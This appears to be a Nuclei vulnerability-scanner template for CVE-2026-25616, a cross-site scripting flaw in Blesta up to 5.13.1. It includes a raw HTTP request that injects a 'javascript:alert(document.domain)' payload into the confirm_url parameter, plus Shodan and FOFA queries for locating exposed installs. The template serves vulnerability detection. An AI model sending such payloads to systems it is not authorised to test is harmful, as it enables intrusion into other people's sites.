Blesta <= 5.13.1 - Cross-Site Scripting

id: CVE-2026-25616

info:
  name: Blesta <= 5.13.1 - Cross-Site Scripting
  author: 0x_Akoko
  severity: medium
  description: |
   Blesta 3.x through 5.x before 5.13.3 contains an input validation vulnerability caused by mishandling input, letting attackers potentially exploit the system, exploit requires unspecified conditions.
  impact: |
   Attackers can exploit input validation flaws to cause unexpected behavior or security issues.
  remediation: |
   Upgrade to version 5.13.3 or later.
  reference:
    - https://karmainsecurity.com/KIS-2026-01
    - https://www.blesta.com/2026/01/28/security-advisory/
    - https://nvd.nist.gov/vuln/detail/CVE-2026-25616
  classification:
    cve-id: CVE-2026-25616
    epss-score: 0.00383
    epss-percentile: 0.30292
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cwe-id: CWE-79
  metadata:
    max-request: 1
    verified: true
    shodan-query: http.title:"Blesta"
    fofa-query: app="Blesta"
  tags: cve,cve2026,blesta,xss

http:
  - raw:
      - |
        GET /client_dialog/confirm/?confirm_url=javascript:alert(document.domain) HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'action="javascript:alert(document.domain)"'
          - '<form method="post"'
        condition: and

      - type: word
        part: content_type
        words:
          - text/html

      - type: status
        status:
          - 200
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